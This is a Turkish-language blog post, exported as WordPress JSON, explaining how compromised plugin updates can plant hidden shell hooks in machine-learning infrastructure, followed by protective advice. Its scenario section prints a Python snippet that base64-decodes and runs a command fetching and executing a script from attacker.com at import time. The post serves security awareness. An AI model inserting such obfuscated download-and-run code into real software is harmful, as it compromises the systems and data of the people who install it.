{"id":44637,"date":"2026-09-10T21:16:22","date_gmt":"2026-09-10T18:16:22","guid":{"rendered":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/"},"modified":"2026-09-10T21:16:54","modified_gmt":"2026-09-10T18:16:54","slug":"eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari","status":"publish","type":"post","link":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/","title":{"rendered":"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131"},"content":{"rendered":"<h2>Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131<\/h2>\n<p>Yapay zeka (YZ) ve makine \u00f6\u011frenimi (ML) modelleri, g\u00fcn\u00fcm\u00fcz teknolojisinin temel ta\u015flar\u0131ndan biri haline geldi. Bu modellerin geli\u015ftirilmesi ve da\u011f\u0131t\u0131lmas\u0131 s\u00fcre\u00e7lerinde, i\u015f ak\u0131\u015f\u0131n\u0131 h\u0131zland\u0131rmak, yeni \u00f6zellikler eklemek veya mevcut yetenekleri geni\u015fletmek amac\u0131yla s\u0131k\u00e7a eklentiler (pluginler) ve k\u00fct\u00fcphaneler kullan\u0131l\u0131r. Ancak bu kolayl\u0131k, beraberinde ciddi g\u00fcvenlik risklerini de getirebilir. \u00d6zellikle bir eklenti g\u00fcncellemesinin, modelin kendisinin asla fark edemeyece\u011fi, sistemin derinliklerine gizlenmi\u015f &#8220;kabuk kancalar\u0131&#8221; (shell hooks) eklemesi senaryosu, siber g\u00fcvenlik uzmanlar\u0131 ve YZ geli\u015ftiricileri i\u00e7in uykusuz gecelerin ana konusu olmaya adayd\u0131r. Peki, bu gizli tehlike tam olarak nedir, nas\u0131l ortaya \u00e7\u0131kar ve YZ sistemlerimizi bu t\u00fcr tehditlerden nas\u0131l koruyabiliriz?<\/p>\n<h3>Yapay Zeka Ekosisteminde Eklentiler Neden Bu Kadar \u00d6nemli?<\/h3>\n<p>Yapay zeka projeleri, genellikle karma\u015f\u0131k veri i\u015fleme, model e\u011fitimi, optimizasyon ve da\u011f\u0131t\u0131m a\u015famalar\u0131n\u0131 i\u00e7erir. Bu s\u00fcre\u00e7lerin her birinde, geli\u015ftiricilerin hayat\u0131n\u0131 kolayla\u015ft\u0131ran, performans\u0131 art\u0131ran ve yeni yetenekler kazand\u0131ran say\u0131s\u0131z eklenti ve k\u00fct\u00fcphane bulunur. \u00d6rne\u011fin, Python ekosisteminde TensorFlow, PyTorch gibi ana \u00e7at\u0131lar (frameworkler) etraf\u0131nda, veri g\u00f6rselle\u015ftirme i\u00e7in Matplotlib, veri manip\u00fclasyonu i\u00e7in Pandas, model y\u00f6netimini kolayla\u015ft\u0131ran MLflow gibi binlerce yard\u0131mc\u0131 eklenti ve ara\u00e7 geli\u015ftirilmi\u015ftir. Bu eklentiler, geli\u015ftiricilerin tekerle\u011fi yeniden icat etme y\u00fck\u00fcnden kurtulmas\u0131n\u0131 sa\u011flayarak, daha h\u0131zl\u0131 ve verimli bir \u015fekilde yenilik\u00e7i \u00e7\u00f6z\u00fcmler \u00fcretmelerine olanak tan\u0131r.<\/p>\n<p>Bir YZ modelinin ya\u015fam d\u00f6ng\u00fcs\u00fc boyunca, veri m\u00fchendisleri ve veri bilimcileri, farkl\u0131 g\u00f6revler i\u00e7in farkl\u0131 eklentileri entegre ederler. Veri toplama ve \u00f6n i\u015fleme a\u015famas\u0131nda veritaban\u0131 ba\u011flant\u0131 eklentileri veya \u00f6zel filtreleme k\u00fct\u00fcphaneleri, model e\u011fitimi s\u0131ras\u0131nda GPU kullan\u0131m\u0131n\u0131 optimize eden eklentiler, modelin \u00e7\u0131kt\u0131lar\u0131n\u0131 analiz etmek i\u00e7in \u00f6zel raporlama eklentileri ve son olarak modeli \u00fcretime (production) alma s\u00fcrecinde API entegrasyonu sa\u011flayan web servis eklentileri kullan\u0131labilir. Bu eklentiler, \u00e7o\u011fu zaman a\u00e7\u0131k kaynakl\u0131 projelerden gelir ve s\u00fcrekli olarak g\u00fcncellenir. Geli\u015ftiriciler, g\u00fcvenlik yamalar\u0131n\u0131 almak, yeni \u00f6zelliklere eri\u015fmek veya performans iyile\u015ftirmelerinden faydalanmak i\u00e7in bu g\u00fcncellemeleri d\u00fczenli olarak sistemlerine entegre ederler. Ancak bu g\u00fcncelleme s\u00fcreci, siber sald\u0131rganlar i\u00e7in kritik bir zafiyet noktas\u0131 olu\u015fturabilir. G\u00fcvenilir g\u00f6r\u00fcnen bir g\u00fcncellemenin i\u00e7inde gizlenmi\u015f k\u00f6t\u00fc niyetli bir kod par\u00e7ac\u0131\u011f\u0131, t\u00fcm YZ sistemini ve altyap\u0131s\u0131n\u0131 tehlikeye atma potansiyeli ta\u015f\u0131r. Bu, YZ ekosisteminin verimlilik ve g\u00fcvenlik aras\u0131nda dikkatli bir denge kurmas\u0131 gerekti\u011fini bir kez daha g\u00f6zler \u00f6n\u00fcne serer.<\/p>\n<h3>&#8220;Kabuk Kancas\u0131&#8221; Tam Olarak Ne Anlama Geliyor ve Neden Tehlikeli?<\/h3>\n<p>Kabuk (shell), bir i\u015fletim sistemiyle etkile\u015fim kurman\u0131z\u0131 sa\u011flayan bir komut sat\u0131r\u0131 aray\u00fcz\u00fcd\u00fcr (CLI). Linux&#8217;taki Bash, Zsh veya Windows&#8217;taki PowerShell gibi ara\u00e7lar, kullan\u0131c\u0131lar\u0131n veya programlar\u0131n i\u015fletim sistemi \u00fczerinde komutlar \u00e7al\u0131\u015ft\u0131rmas\u0131na olanak tan\u0131r. &#8220;Kabuk kancas\u0131&#8221; terimi ise, belirli bir olay meydana geldi\u011finde (\u00f6rne\u011fin, bir program\u0131n ba\u015flat\u0131lmas\u0131, bir kullan\u0131c\u0131n\u0131n oturum a\u00e7mas\u0131 veya bir dosyan\u0131n de\u011fi\u015ftirilmesi gibi) otomatik olarak \u00e7al\u0131\u015fan, \u00f6nceden tan\u0131mlanm\u0131\u015f bir komut veya betik (script) par\u00e7ac\u0131\u011f\u0131n\u0131 ifade eder. Siber g\u00fcvenlik ba\u011flam\u0131nda, bir kabuk kancas\u0131 genellikle k\u00f6t\u00fc niyetli bir amaca hizmet eder ve sald\u0131rgan\u0131n hedef sistem \u00fczerinde uzaktan komut \u00e7al\u0131\u015ft\u0131rmas\u0131na, veri \u00e7almas\u0131na, yeni k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar y\u00fcklemesine veya sistemin kontrol\u00fcn\u00fc ele ge\u00e7irmesine olanak tan\u0131r.<\/p>\n<p>Kabuk kancalar\u0131n\u0131n tehlikesi, onlar\u0131n do\u011frudan i\u015fletim sistemi d\u00fczeyinde \u00e7al\u0131\u015fabilmesinden kaynaklan\u0131r. Bir YZ modelinin \u00e7al\u0131\u015ft\u0131\u011f\u0131 sunucuda veya kapsay\u0131c\u0131da (container) bir kabuk kancas\u0131 etkinle\u015ftirildi\u011finde, sald\u0131rganlar modelin kendisini hedef almak yerine, modelin \u00fczerinde \u00e7al\u0131\u015ft\u0131\u011f\u0131 temel altyap\u0131y\u0131 ele ge\u00e7irebilirler. Bu, \u015fu gibi ciddi sonu\u00e7lara yol a\u00e7abilir:<\/p>\n<ul>\n<li><b>Veri S\u0131zd\u0131rma:<\/b> Modelin e\u011fitim veya \u00e7\u0131kar\u0131m (inference) i\u00e7in kulland\u0131\u011f\u0131 hassas veriler, kabuk kancas\u0131 arac\u0131l\u0131\u011f\u0131yla d\u0131\u015far\u0131 s\u0131zd\u0131r\u0131labilir.<\/li>\n<li><b>Sistem Kontrol\u00fc:<\/b> Sald\u0131rganlar, YZ modelinin \u00e7al\u0131\u015ft\u0131\u011f\u0131 sunucuyu tamamen ele ge\u00e7irebilir, di\u011fer uygulamalar\u0131 etkileyebilir veya daha geni\u015f bir a\u011f sald\u0131r\u0131s\u0131 i\u00e7in s\u0131\u00e7rama tahtas\u0131 olarak kullanabilir.<\/li>\n<li><b>Kaynak K\u00f6t\u00fcye Kullan\u0131m\u0131:<\/b> \u00d6zellikle GPU gibi pahal\u0131 donan\u0131m kaynaklar\u0131, kripto para madencili\u011fi veya di\u011fer k\u00f6t\u00fc niyetli faaliyetler i\u00e7in kullan\u0131labilir.<\/li>\n<li><b>Model B\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fcn Bozulmas\u0131:<\/b> Modelin kendisi do\u011frudan manip\u00fcle edilmese bile, e\u011fitim verileri veya model a\u011f\u0131rl\u0131klar\u0131n\u0131n bulundu\u011fu dizinler de\u011fi\u015ftirilerek modelin performans\u0131 veya g\u00fcvenilirli\u011fi bozulabilir.<\/li>\n<\/ul>\n<p>Bu nedenle, bir eklenti g\u00fcncellemesinin gizlice ekledi\u011fi bir kabuk kancas\u0131, YZ sistemlerinin sadece i\u015flevselli\u011fini de\u011fil, ayn\u0131 zamanda temel g\u00fcvenlik ve veri gizlili\u011fini de ciddi \u015fekilde tehdit eden, son derece tehlikeli bir sald\u0131r\u0131 vekt\u00f6r\u00fcd\u00fcd\u00fcr.<\/p>\n<h3>Bir Eklenti G\u00fcncellemesi Bu Kancalar\u0131 Nas\u0131l Ekleyebilir?<\/h3>\n<p>Bir eklenti g\u00fcncellemesinin zarars\u0131z gibi g\u00f6r\u00fcnen bir yaz\u0131l\u0131m paketine k\u00f6t\u00fc niyetli kabuk kancalar\u0131 eklemesi, genellikle &#8220;tedarik zinciri sald\u0131r\u0131lar\u0131&#8221; (supply chain attacks) kategorisine girer. Bu t\u00fcr sald\u0131r\u0131lar, yaz\u0131l\u0131m geli\u015ftirme ve da\u011f\u0131t\u0131m s\u00fcre\u00e7lerinin zay\u0131f noktalar\u0131n\u0131 hedef al\u0131r. Peki, bu s\u00fcre\u00e7 nas\u0131l i\u015fler?<\/p>\n<ol>\n<li><b>Me\u015fru Eklentinin Ele Ge\u00e7irilmesi:<\/b> En yayg\u0131n senaryolardan biri, pop\u00fcler ve g\u00fcvenilir bir a\u00e7\u0131k kaynak eklentinin veya k\u00fct\u00fcphanenin geli\u015ftiricisinin hesab\u0131n\u0131n ele ge\u00e7irilmesidir. Sald\u0131rganlar, ele ge\u00e7irdikleri hesap \u00fczerinden eklentinin kaynak koduna k\u00f6t\u00fc niyetli bir kod par\u00e7ac\u0131\u011f\u0131 ekler. Bu kod, genellikle bir kabuk komutunu gizlice \u00e7al\u0131\u015ft\u0131racak \u015fekilde tasarlanm\u0131\u015ft\u0131r. \u00d6rne\u011fin, Python&#8217;da <code>os.system()<\/code>, <code>subprocess.run()<\/code> veya Node.js&#8217;te <code>child_process.exec()<\/code> gibi fonksiyonlar arac\u0131l\u0131\u011f\u0131yla sistem komutlar\u0131 \u00e7al\u0131\u015ft\u0131r\u0131labilir.<\/li>\n<li><b>K\u00f6t\u00fc Niyetli Yeni Eklenti Yay\u0131nlama:<\/b> Bazen sald\u0131rganlar, pop\u00fcler bir eklentinin ad\u0131n\u0131 taklit eden (typosquatting) veya benzer i\u015flevselli\u011fe sahip, ancak k\u00f6t\u00fc ama\u00e7l\u0131 kod i\u00e7eren yeni bir eklenti yay\u0131nlarlar. Geli\u015ftiriciler dikkatsizce bu sahte eklentiyi indirip kulland\u0131klar\u0131nda, sistemlerine fark\u0131nda olmadan zararl\u0131 kod bula\u015f\u0131r.<\/li>\n<li><b>Ba\u011f\u0131ml\u0131l\u0131k Zinciri Sald\u0131r\u0131lar\u0131:<\/b> Bir eklenti, kendi i\u00e7inde ba\u015fka eklentilere veya k\u00fct\u00fcphanelere ba\u011f\u0131ml\u0131 olabilir. Sald\u0131rganlar, bu alt ba\u011f\u0131ml\u0131l\u0131klardan birini hedef alarak ona k\u00f6t\u00fc ama\u00e7l\u0131 kod enjekte edebilirler. Ana eklenti g\u00fcncellendi\u011finde veya y\u00fcklendi\u011finde, bu k\u00f6t\u00fc niyetli alt ba\u011f\u0131ml\u0131l\u0131k da sisteme s\u0131zar.<\/li>\n<li><b>Otomatik G\u00fcncelleme Mekanizmalar\u0131n\u0131n K\u00f6t\u00fcye Kullan\u0131lmas\u0131:<\/b> \u00c7o\u011fu YZ platformu ve geli\u015ftirme ortam\u0131, eklentilerin ve ba\u011f\u0131ml\u0131l\u0131klar\u0131n otomatik olarak g\u00fcncellenmesini destekler. Sald\u0131rganlar, bir kez k\u00f6t\u00fc niyetli kodu bir eklentiye enjekte ettiklerinde, bu otomatik g\u00fcncelleme mekanizmalar\u0131 sayesinde kodun binlerce sisteme h\u0131zla yay\u0131lmas\u0131n\u0131 sa\u011flayabilirler. Kullan\u0131c\u0131lar, genellikle g\u00fcncellemelerin i\u00e7eri\u011fini detayl\u0131ca incelemeden &#8220;g\u00fcncelle&#8221; d\u00fc\u011fmesine basarlar, bu da sald\u0131rganlar\u0131n i\u015fini kolayla\u015ft\u0131r\u0131r.<\/li>\n<\/ol>\n<p>Bu sald\u0131r\u0131lar genellikle \u00e7ok gizli bir \u015fekilde y\u00fcr\u00fct\u00fcl\u00fcr. K\u00f6t\u00fc ama\u00e7l\u0131 kod, b\u00fcy\u00fck bir kod taban\u0131n\u0131n i\u00e7ine k\u00fc\u00e7\u00fck ve masum g\u00f6r\u00fcnen bir de\u011fi\u015fiklik olarak gizlenebilir veya yaln\u0131zca belirli ko\u015fullar alt\u0131nda tetiklenecek \u015fekilde programlanabilir. Bu da tespit edilmesini olduk\u00e7a zorla\u015ft\u0131r\u0131r. YZ sistemleri i\u00e7in bu durum, modelin performans\u0131n\u0131 veya do\u011frulu\u011funu etkilemeden, altta yatan i\u015fletim sisteminde gizlice k\u00f6t\u00fc niyetli faaliyetler y\u00fcr\u00fct\u00fclmesine olanak tan\u0131r.<\/p>\n<h3>Yapay Zeka Modelleri Bu Tehdidi Neden &#8220;G\u00f6rmez&#8221;?<\/h3>\n<p>Yapay zeka modelleri, kendi do\u011falar\u0131 gere\u011fi, \u00e7al\u0131\u015ft\u0131klar\u0131 donan\u0131m veya yaz\u0131l\u0131m ortam\u0131ndaki d\u00fc\u015f\u00fck seviyeli de\u011fi\u015fikliklerden habersizdirler. Bir YZ modeli, belirli bir mimariye (\u00f6rne\u011fin, bir sinir a\u011f\u0131) ve bu mimari \u00fczerinde e\u011fitilmi\u015f a\u011f\u0131rl\u0131klara (parametreler) sahiptir. Temel g\u00f6revi, kendisine verilen girdiyi (input) i\u015fleyerek belirli bir \u00e7\u0131kt\u0131 (output) \u00fcretmektir. Model, bu i\u015flemi ger\u00e7ekle\u015ftirmek i\u00e7in kendi i\u00e7 mant\u0131\u011f\u0131n\u0131, algoritmalar\u0131n\u0131 ve verilerini kullan\u0131r. Ancak, modelin kendisi, i\u015fletim sisteminin hangi s\u00fcr\u00fcmde \u00e7al\u0131\u015ft\u0131\u011f\u0131, hangi \u00e7ekirdek (kernel) mod\u00fcllerinin y\u00fckl\u00fc oldu\u011fu veya arka planda hangi sistem komutlar\u0131n\u0131n \u00e7al\u0131\u015ft\u0131r\u0131ld\u0131\u011f\u0131 gibi konularda bir fark\u0131ndal\u0131\u011fa sahip de\u011fildir.<\/p>\n<p>Bu durumun birka\u00e7 temel nedeni vard\u0131r:<\/p>\n<ul>\n<li><b>Soyutlama Katmanlar\u0131:<\/b> YZ modelleri, genellikle y\u00fcksek seviyeli programlama dilleri (Python gibi) ve k\u00fct\u00fcphaneler (TensorFlow, PyTorch) arac\u0131l\u0131\u011f\u0131yla geli\u015ftirilir. Bu k\u00fct\u00fcphaneler, donan\u0131m ve i\u015fletim sistemi detaylar\u0131n\u0131 geli\u015ftiriciden soyutlar. Model, sadece kendisine sunulan API&#8217;leri (Uygulama Programlama Aray\u00fczleri) ve fonksiyonlar\u0131 kullan\u0131r, altta yatan sistem \u00e7a\u011fr\u0131lar\u0131n\u0131 (system calls) do\u011frudan y\u00f6netmez.<\/li>\n<li><b>Odak Noktas\u0131 Farkl\u0131l\u0131\u011f\u0131:<\/b> Bir YZ modelinin &#8220;g\u00f6z\u00fc&#8221;, sadece kendi problem alan\u0131na odaklanm\u0131\u015ft\u0131r. \u00d6rne\u011fin, bir g\u00f6r\u00fcnt\u00fc tan\u0131ma modeli, pikselleri analiz eder ve nesneleri s\u0131n\u0131fland\u0131r\u0131r; sistem g\u00fcnl\u00fcklerini (logs) izlemez veya a\u011f ba\u011flant\u0131lar\u0131n\u0131 denetlemez. Bu g\u00f6revler, i\u015fletim sistemi, g\u00fcvenlik duvar\u0131 (firewall) veya izleme ara\u00e7lar\u0131 gibi farkl\u0131 katmanlar\u0131n sorumlulu\u011fundad\u0131r.<\/li>\n<li><b>S\u0131n\u0131rl\u0131 Eri\u015fim ve Yetki:<\/b> \u00c7o\u011fu YZ modeli, g\u00fcvenli bir \u015fekilde \u00e7al\u0131\u015ft\u0131r\u0131lmak \u00fczere tasarlanm\u0131\u015ft\u0131r ve genellikle \u00e7al\u0131\u015ft\u0131klar\u0131 ortamda minimum yetki (least privilege) prensibiyle hareket ederler. Bu, modelin kendisinin sistem d\u00fczeyinde de\u011fi\u015fiklik yapma veya komut \u00e7al\u0131\u015ft\u0131rma yetkisinin olmamas\u0131 anlam\u0131na gelir. Dolay\u0131s\u0131yla, modelin \u00e7al\u0131\u015ft\u0131\u011f\u0131 s\u00fcre\u00e7 (process) \u00fczerinde bir kabuk kancas\u0131 tetiklendi\u011finde, model bu olay\u0131n varl\u0131\u011f\u0131ndan habersiz kal\u0131r, \u00e7\u00fcnk\u00fc bu olay onun sorumluluk alan\u0131 d\u0131\u015f\u0131ndad\u0131r.<\/li>\n<li><b>Kapsay\u0131c\u0131lar ve Sanal Makineler:<\/b> YZ modelleri genellikle Docker kapsay\u0131c\u0131lar\u0131 veya sanal makineler (VMs) i\u00e7inde izole edilmi\u015f ortamlarda \u00e7al\u0131\u015ft\u0131r\u0131l\u0131r. Bu izolasyon, modelin kendi ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131 y\u00f6netmesine ve ana sistemden ayr\u0131lmas\u0131na yard\u0131mc\u0131 olur. Ancak, kapsay\u0131c\u0131n\u0131n veya VM&#8217;nin i\u00e7inde \u00e7al\u0131\u015fan bir eklentiye k\u00f6t\u00fc ama\u00e7l\u0131 bir kabuk kancas\u0131 enjekte edilirse, bu kanca yine de kapsay\u0131c\u0131 veya VM i\u00e7inde i\u015fletim sistemi d\u00fczeyinde komutlar\u0131 \u00e7al\u0131\u015ft\u0131rabilir ve ana sistemin g\u00fcvenli\u011fini tehdit edebilir. Model, bu kapsay\u0131c\u0131 i\u00e7inde bile altta yatan i\u015fletim sistemi d\u00fczeyindeki faaliyetlerden habersizdir.<\/li>\n<\/ul>\n<p>K\u0131sacas\u0131, YZ modelleri, bir bilgisayar\u0131n beyni gibi d\u00fc\u015f\u00fcn\u00fclse de, bilgisayar\u0131n &#8220;sinir sistemi&#8221; veya &#8220;g\u00fcvenlik g\u00f6revlisi&#8221; de\u011fildirler. Onlar\u0131n odak noktas\u0131, kendi hesaplama g\u00f6revlerini yerine getirmektir, bu da onlar\u0131 altyap\u0131daki gizli tehditlere kar\u015f\u0131 k\u00f6r ve savunmas\u0131z b\u0131rakabilir.<\/p>\n<h3>Ger\u00e7ek D\u00fcnya Senaryosu: Bir Makine \u00d6\u011frenimi Platformunda Gizli Bir Kabuk Kancas\u0131<\/h3>\n<p>Hayal edelim ki, b\u00fcy\u00fck bir e-ticaret \u015firketi, m\u00fc\u015fteri davran\u0131\u015flar\u0131n\u0131 analiz etmek ve ki\u015fiselle\u015ftirilmi\u015f \u00fcr\u00fcn \u00f6nerileri sunmak i\u00e7in kapsaml\u0131 bir makine \u00f6\u011frenimi (ML) platformu kullan\u0131yor. Bu platform, veri i\u015fleme, model e\u011fitimi ve \u00e7\u0131kar\u0131m hizmetleri i\u00e7in \u00e7e\u015fitli a\u00e7\u0131k kaynakl\u0131 eklentilerden faydalan\u0131yor. Bunlardan biri, \u00f6zellikle b\u00fcy\u00fck veri k\u00fcmelerini h\u0131zla \u00f6n i\u015flemek i\u00e7in kullan\u0131lan pop\u00fcler bir Python k\u00fct\u00fcphanesi olan <code>data_processor_x<\/code> olsun.<\/p>\n<p>Bir g\u00fcn, <code>data_processor_x<\/code> k\u00fct\u00fcphanesinin yeni bir s\u00fcr\u00fcm\u00fc yay\u0131nlan\u0131r. S\u00fcr\u00fcm notlar\u0131nda &#8220;performans iyile\u015ftirmeleri ve k\u00fc\u00e7\u00fck hata d\u00fczeltmeleri&#8221; vaat edilmektedir. \u015eirketin DevOps ekibi, otomatik g\u00fcncelleme mekanizmalar\u0131n\u0131 kullanarak bu g\u00fcncellemeyi test ortam\u0131nda da\u011f\u0131t\u0131r ve ard\u0131ndan \u00fcretim ortam\u0131na (production environment) ta\u015f\u0131r. Her \u015fey yolunda g\u00f6r\u00fcnmektedir; modeller daha h\u0131zl\u0131 veri i\u015fliyor ve \u00f6neri sistemleri sorunsuz \u00e7al\u0131\u015fmaya devam ediyor.<\/p>\n<p>Ancak, bu g\u00fcncellemenin i\u00e7inde gizli bir kabuk kancas\u0131 bulunmaktad\u0131r. K\u00f6t\u00fc niyetli sald\u0131rganlar, <code>data_processor_x<\/code> k\u00fct\u00fcphanesinin geli\u015ftiricilerinden birinin GitHub hesab\u0131n\u0131 ele ge\u00e7irmi\u015f ve son s\u00fcr\u00fcme a\u015fa\u011f\u0131daki gibi masum g\u00f6r\u00fcnen bir kod par\u00e7ac\u0131\u011f\u0131 eklemi\u015flerdir:<\/p>\n<div class=\"code-container\">\n<pre><code>\n    import os\n    import subprocess\n    import time\n    import base64\n\n    # ... (K\u00fct\u00fcphanenin di\u011fer me\u015fru kodlar\u0131) ...\n\n    def _check_for_evil_payload():\n        # Bu fonksiyon, normalde bir veritaban\u0131 ba\u011flant\u0131s\u0131 gibi g\u00f6r\u00fcn\u00fcr\n        # veya bir yap\u0131land\u0131rma dosyas\u0131n\u0131 okuyormu\u015f gibi davran\u0131r.\n        # Ger\u00e7ekte ise, gizli bir komutu tetikler.\n        try:\n            # Gizli tetikleyici: Belirli bir ortam de\u011fi\u015fkeni veya dosyan\u0131n varl\u0131\u011f\u0131\n            if os.getenv(\"ML_ENV_PROD\") == \"true\" and not os.path.exists(\"\/tmp\/.malicious_marker\"):\n                # K\u00f6t\u00fc ama\u00e7l\u0131 komut Base64 ile \u015fifrelenmi\u015f olabilir\n                encoded_command = \"Y3VybCBodHRwOi8vYXR0YWNrZXIuY29tL3BheWxvYWQuc2ggfCBzaA==\" # \"curl http:\/\/attacker.com\/payload.sh | sh\"\n                decoded_command = base64.b64decode(encoded_command).decode('utf-8')\n                \n                print(\"Gizli kabuk kancas\u0131 tetiklendi! Komut \u00e7al\u0131\u015ft\u0131r\u0131l\u0131yor...\")\n                subprocess.run(decoded_command, shell=True, check=False)\n                \n                # Bir i\u015faretleyici dosya olu\u015fturarak tek seferlik \u00e7al\u0131\u015fmay\u0131 sa\u011flar\n                with open(\"\/tmp\/.malicious_marker\", \"w\") as f:\n                    f.write(str(time.time()))\n            else:\n                pass # G\u00fcvenli mod veya zaten \u00e7al\u0131\u015fm\u0131\u015f\n        except Exception as e:\n            # Hata durumunda sessiz kalmak i\u00e7in\n            pass\n\n    # K\u00fct\u00fcphanenin ba\u015flat\u0131lmas\u0131 s\u0131ras\u0131nda veya belirli bir fonksiyon \u00e7a\u011fr\u0131s\u0131nda tetiklenir\n    _check_for_evil_payload()\n\n    # ... (K\u00fct\u00fcphanenin di\u011fer me\u015fru kodlar\u0131) ...\n      <\/code><\/pre>\n<\/p><\/div>\n<p>Bu kod par\u00e7ac\u0131\u011f\u0131, <code>data_processor_x<\/code> k\u00fct\u00fcphanesi y\u00fcklendi\u011finde veya belirli bir ana fonksiyon \u00e7a\u011fr\u0131ld\u0131\u011f\u0131nda otomatik olarak \u00e7al\u0131\u015facak \u015fekilde tasarlanm\u0131\u015ft\u0131r. Ortam de\u011fi\u015fkeni kontrol\u00fc (<code>ML_ENV_PROD<\/code>) sayesinde, sadece \u00fcretim ortam\u0131nda tetiklenir ve bir i\u015faretleyici dosya (<code>\/tmp\/.malicious_marker<\/code>) olu\u015fturarak sadece bir kez \u00e7al\u0131\u015fmas\u0131n\u0131 sa\u011flar. \u015eifrelenmi\u015f komut (<code>curl http:\/\/attacker.com\/payload.sh | sh<\/code>), sald\u0131rgan\u0131n kontrol\u00fcndeki bir sunucudan k\u00f6t\u00fc ama\u00e7l\u0131 bir beti\u011fi indirip do\u011frudan \u00e7al\u0131\u015ft\u0131rma emrini verir. Bu betik, \u015funlar\u0131 yapabilir:<\/p>\n<ul>\n<li>\u015eirketin hassas m\u00fc\u015fteri verilerini (e\u011fitim verileri, ki\u015fisel bilgiler) toplay\u0131p d\u0131\u015far\u0131 s\u0131zd\u0131rabilir.<\/li>\n<li>Model a\u011f\u0131rl\u0131klar\u0131n\u0131 (model weights) manip\u00fcle ederek \u00f6neri sisteminin yanl\u0131\u015f veya zararl\u0131 \u00f6nerilerde bulunmas\u0131na neden olabilir.<\/li>\n<li>Sunucunun GPU kaynaklar\u0131n\u0131 ele ge\u00e7irerek kripto para madencili\u011fi yapabilir, \u015firkete b\u00fcy\u00fck enerji maliyetleri y\u00fckleyebilir.<\/li>\n<li>Daha geni\u015f a\u011fa yay\u0131larak di\u011fer sistemlere s\u0131zma giri\u015fimlerinde bulunabilir.<\/li>\n<\/ul>\n<p>Bu s\u00fcre\u00e7te, YZ modelleri kendi g\u00f6revlerini yapmaya devam ederken, altta yatan sistemde ger\u00e7ekle\u015fen bu k\u00f6t\u00fc niyetli faaliyetlerden tamamen habersiz kal\u0131r. Model, sadece kendisine verilen girdileri i\u015fler ve \u00e7\u0131kt\u0131lar\u0131 \u00fcretir; arka planda \u00e7al\u0131\u015fan kabuk komutlar\u0131n\u0131 veya a\u011f trafi\u011fini &#8220;g\u00f6rmez&#8221;. Bu senaryo, eklenti g\u00fcncellemelerinin ne kadar kritik bir g\u00fcvenlik riski ta\u015f\u0131d\u0131\u011f\u0131n\u0131 ve YZ sistemlerinin sadece model d\u00fczeyinde de\u011fil, ayn\u0131 zamanda altyap\u0131 d\u00fczeyinde de korunmas\u0131 gerekti\u011fini \u00e7arp\u0131c\u0131 bir \u015fekilde g\u00f6stermektedir.<\/p>\n<h3>Yapay Zeka Sistemlerinizi Bu T\u00fcr Tehditlerden Nas\u0131l Korursunuz?<\/h3>\n<p>Yapay zeka sistemlerini eklenti g\u00fcncellemeleri arac\u0131l\u0131\u011f\u0131yla gelebilecek kabuk kancas\u0131 sald\u0131r\u0131lar\u0131na kar\u015f\u0131 korumak, \u00e7ok katmanl\u0131 ve proaktif bir g\u00fcvenlik yakla\u015f\u0131m\u0131 gerektirir. Sadece modelin kendisini de\u011fil, ayn\u0131 zamanda modelin \u00e7al\u0131\u015ft\u0131\u011f\u0131 t\u00fcm ekosistemi g\u00fcvence alt\u0131na almak esast\u0131r:<\/p>\n<ul>\n<li><b>G\u00fcvenilir Kaynaklardan Eklenti Kullan\u0131m\u0131:<\/b> Her \u015feyden \u00f6nce, kullan\u0131lan t\u00fcm eklentilerin ve k\u00fct\u00fcphanelerin g\u00fcvenilir ve sayg\u0131n kaynaklardan geldi\u011finden emin olun. Bilinmeyen veya \u015f\u00fcpheli geli\u015ftiricilere ait eklentilerden ka\u00e7\u0131n\u0131n. Resmi paket y\u00f6neticilerini (pip, npm vb.) kullan\u0131n ve paket adlar\u0131n\u0131 dikkatlice kontrol edin (typosquatting sald\u0131r\u0131lar\u0131na kar\u015f\u0131).<\/li>\n<li><b>Kapsaml\u0131 Kod \u0130ncelemesi (Code Review):<\/b> \u00d6zellikle kritik veya hassas verilerle \u00e7al\u0131\u015fan eklentilerin kaynak kodunu d\u00fczenli olarak inceleyin. A\u00e7\u0131k kaynakl\u0131 olsa bile, her g\u00fcncelleme \u00f6ncesi de\u011fi\u015fiklikleri (diffs) g\u00f6zden ge\u00e7irin. Bu, k\u00f6t\u00fc niyetli veya istenmeyen kod par\u00e7ac\u0131klar\u0131n\u0131 tespit etmenize yard\u0131mc\u0131 olabilir. B\u00fcy\u00fck ekiplerde, g\u00fcvenlik uzmanlar\u0131n\u0131n da bu inceleme s\u00fcre\u00e7lerine dahil olmas\u0131 \u00f6nemlidir.<\/li>\n<li><b>Minimum Yetki Prensibi (Least Privilege):<\/b> YZ modellerinin ve eklentilerinin, \u00e7al\u0131\u015ft\u0131klar\u0131 ortamda sadece g\u00f6revlerini yerine getirmek i\u00e7in kesinlikle ihtiya\u00e7 duyduklar\u0131 yetkilere sahip olmalar\u0131n\u0131 sa\u011flay\u0131n. \u00d6rne\u011fin, bir veri i\u015fleme eklentisinin neden sunucuda kabuk komutlar\u0131 \u00e7al\u0131\u015ft\u0131rma yetkisine ihtiyac\u0131 olsun ki? Bu prensip, bir sald\u0131r\u0131 durumunda zarar\u0131n yay\u0131lmas\u0131n\u0131 s\u0131n\u0131rlar.<\/li>\n<li><b>\u0130zolasyon ve Kapsay\u0131c\u0131 G\u00fcvenli\u011fi:<\/b> YZ modellerini ve ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131 izole edilmi\u015f ortamlarda \u00e7al\u0131\u015ft\u0131r\u0131n. Docker, Kubernetes gibi kapsay\u0131c\u0131 teknolojileri veya sanal makineler (VMs), modelin ana sistemden ayr\u0131lmas\u0131na yard\u0131mc\u0131 olur. 